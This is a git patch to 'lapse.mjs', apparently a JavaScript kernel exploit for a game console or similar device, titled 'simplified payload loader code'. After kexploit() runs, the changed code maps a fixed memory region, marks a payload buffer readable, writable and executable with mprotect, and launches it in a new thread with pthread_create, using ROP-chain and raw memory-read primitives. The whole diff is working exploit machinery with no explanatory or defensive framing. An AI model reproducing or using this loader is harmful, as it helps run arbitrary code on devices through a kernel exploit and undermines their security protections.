From 19c2ae770906d2fa4842fe4815c26ca773a8de01 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C4=81nis?= <97699850+janisslsm@users.noreply.github.com> Date: Sun, 18 May 2025 00:24:42 +0300 Subject: [PATCH] simplified payload loader code --- lapse.mjs | 38 ++++++++------------------------------ 1 file changed, 8 insertions(+), 30 deletions(-) diff --git a/lapse.mjs b/lapse.mjs index eaa7dff..36ddc33 100644 --- a/lapse.mjs +++ b/lapse.mjs @@ -140,7 +140,6 @@ const num_leaks = 5; const num_clobbers = 8; let chain = null; -var nogc = []; async function init() { await rop.init(); chain = new Chain(); @@ -1736,39 +1735,18 @@ export async function kexploit() { } kexploit().then(() => { - function malloc(sz) { - var backing = new Uint8Array(0x10000 + sz); - nogc.push(backing); - var ptr = mem.readp(mem.addrof(backing).add(0x10)); - ptr.backing = backing; - return ptr; - } - - function malloc32(sz) { - var backing = new Uint8Array(0x10000 + sz * 4); - nogc.push(backing); - var ptr = mem.readp(mem.addrof(backing).add(0x10)); - ptr.backing = new Uint32Array(backing.buffer); - return ptr; - } - window.pld_size = new Int(0x26200000, 0x9); - - var payload_buffer = chain.sysp('mmap', window.pld_size, 0x300000, 7, 0x41000, -1, 0); - var payload = window.pld; - var bufLen = payload.length * 4 - var payload_loader = malloc32(bufLen); - var loader_writer = payload_loader.backing; - for (var i = 0; i < payload.length; i++) { - loader_writer[i] = payload[i]; - } - chain.sys('mprotect', payload_loader, bufLen, (0x1 | 0x2 | 0x4)); - var pthread = malloc(0x10); + var payload_buffer = chain.sysp('mmap', new Int(0x26200000, 0x9), 0x300000, 7, 0x41000, -1, 0); + var payload_loader = new View4(window.pld); + chain.sys('mprotect', payload_loader.addr, payload_loader.size, (0x1 | 0x2 | 0x4)); + const ctx = new Buffer(0x10); + const pthread = new Pointer(); + pthread.ctx = ctx; call_nze( 'pthread_create', - pthread, + pthread.addr, 0, - payload_loader, + payload_loader.addr, payload_buffer, ); }) \ No newline at end of file